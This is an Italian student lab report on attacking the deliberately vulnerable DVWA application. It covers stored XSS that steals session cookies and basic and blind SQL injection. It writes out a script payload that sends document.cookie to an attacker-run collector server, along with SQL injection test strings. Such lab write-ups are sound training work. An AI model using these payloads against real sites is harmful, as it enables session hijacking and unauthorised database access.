Report sull'Exploitazione della Vulnerabilità XSS Stored per il Recupero dei Cookie di Sessione

**Introduzione**

In questo report descrivo dettagliatamente il processo seguito per sfruttare diverse vulnerabilità nella Damn Vulnerable Web Application (DVWA), eseguita sulla macchina di laboratorio Metasploitable. L'obiettivo primario era di recuperare i cookie di sessione delle vittime tramite Stored Cross-Site Scripting (XSS) e di accedere alle password degli utenti sfruttando le vulnerabilità di SQL injection e SQL injection blind. Per facilitare l'exploitazione delle vulnerabilità, ho configurato DVWA con il livello di sicurezza impostato su "low".

**Configurazione del Server**

Ho iniziato configurando un server web locale utilizzando Node.js e il framework Express. Questo server aveva il compito di intercettare e registrare i cookie inviati dalle vittime del sito DVWA vulnerabile a XSS. Il codice del server è il seguente:

Immagine che contiene testo, schermata, Software multimediale, software

Descrizione generata automaticamente

Questo semplice script ascolta sulla porta 3000 e scrive i cookie ricevuti in un file di testo per l'analisi successiva.

**Modifica della Lunghezza dei Caratteri in DVWA**

Successivamente, ho modificato la lunghezza massima dei caratteri per il campo del messaggio in DVWA per permettermi di inserire payload XSS più lunghi e sofisticati. Ho aumentato il limite di caratteri direttamente nel codice sorgente HTML della pagina vulnerabile a XSS, assicurandomi che il mio script fosse in grado di essere iniettato e eseguito senza restrizioni.

Immagine che contiene testo, elettronica, schermata, software

Descrizione generata automaticamente

**Creazione e Inserimento del Payload XSS**

Il payload XSS che ho creato è stato pensato per eseguire una re-direzione invisibile dei cookie della sessione al mio server. Il payload era il seguente:

“

<script>document.location='http://localhost:3000/collect?cookie=' + encodeURIComponent(document.cookie);</script>

“

Ho inserito questo script nel campo "Message" del guestbook di DVWA, salvando così il payload nella pagina, pronta per essere eseguita da qualsiasi visitatore.

**Test e Verifica**

Dopo aver inserito il payload, ho testato la sua efficacia accedendo a DVWA da un altro browser per simulare l'accesso di una vittima. Come previsto, il browser ha eseguito lo script salvato, inviando i cookie di sessione al mio server, dove sono stati registrati.

Immagine che contiene schermata, software, computer, Software multimediale

Descrizione generata automaticamente

**Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente**

**Spiegazione dei Cookie Catturati**

1. security=low: Questo valore del cookie indica che il livello di sicurezza dell'applicazione DVWA (Damn Vulnerable Web Application) è stato impostato su "low". Questo è un'impostazione intenzionale che riduce le misure di protezione per permettere l'analisi e l'apprendimento delle tecniche di exploitazione delle vulnerabilità.

2. \*\*PHPSESSID\*\*: Questo è il PHP Session ID, che rappresenta un identificativo unico per la sessione dell'utente corrente. Questo cookie è fondamentale perché mantiene lo stato della sessione tra le richieste HTTP, permettendo all'applicazione di identificare le richieste consecutive provenienti dallo stesso utente. L'accesso a questo cookie da parte di un attaccante potrebbe permettere l'impersonificazione dell'utente, dando la possibilità di agire nell'applicazione come se fosse l'utente legittimo.

SQL INJECTION

**Esecuzione di un SQL Injection Semplice**

1. Interazione con il campo "User ID" della vulnerabilità SQL Injection:

- Ho inserito il seguente payload per verificare la presenza della vulnerabilità:

“

1' OR '1'='1--

“

- Questo ha mostrato tutti gli utenti presenti nel database.

Immagine che contiene testo, schermata, Carattere, numero

Descrizione generata automaticamente

SQL INJECTION (BLIND)

**Esecuzione di un SQL Injection Blind**

1. Interazione con il campo "User ID" della vulnerabilità SQL Injection Blind:\*\*

- Ho inserito i seguenti payload per verificare la presenza della vulnerabilità:

“

1' AND 1=1--

“

- Questo ha confermato la presenza dell'utente con ID 1.

Immagine che contiene testo, schermata, Carattere, linea

Descrizione generata automaticamente

- Ho inserito il seguente payload per verificare l'assenza dell'utente:

“

1' AND 1=2--

“

- Questo non ha restituito alcun risultato, confermando la vulnerabilità SQL Injection Blind.

Immagine che contiene testo, schermata, Carattere, linea

Descrizione generata automaticamente

**Conclusione**

L'attacco XSS stored è stato eseguito con successo, catturando i cookie di sessione delle vittime e inviandoli a un server controllato dall'attaccante. Inoltre, sono stati eseguiti con successo gli attacchi SQL Injection e SQL Injection Blind, confermando la presenza di queste vulnerabilità nell'applicazione DVWA.